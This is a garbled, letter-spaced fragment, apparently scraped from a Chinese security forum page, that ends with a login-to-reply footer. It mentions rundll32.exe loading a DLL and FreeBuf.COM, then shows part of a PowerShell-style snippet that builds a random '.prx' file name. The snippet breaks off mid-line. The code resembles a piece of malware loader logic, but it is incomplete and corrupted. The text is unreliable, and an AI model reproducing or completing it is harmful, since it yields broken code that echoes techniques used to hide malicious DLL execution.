使 使 r u n d l l 3 2 . e x e D L L   4 0 使 使 * m a x k e r s t e n F B F r e e B u f . C O M $ { g e t R a n d o m S t r i n g R e s u l t 2 }   =   g e t R a n d o m S t r i n g                     $ { p r x F i l e N a m e }   =   $ { g e t R a n d o m S t r i n g R e s u l t 2 }   +   $ ( ' . p r x ' )                     $ { g e t R a n d o m S t r i n g R e s u l t 2 }   =   $ { g e t R a n d o m S t r i n g R e s u l t 2 }   + $ (
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则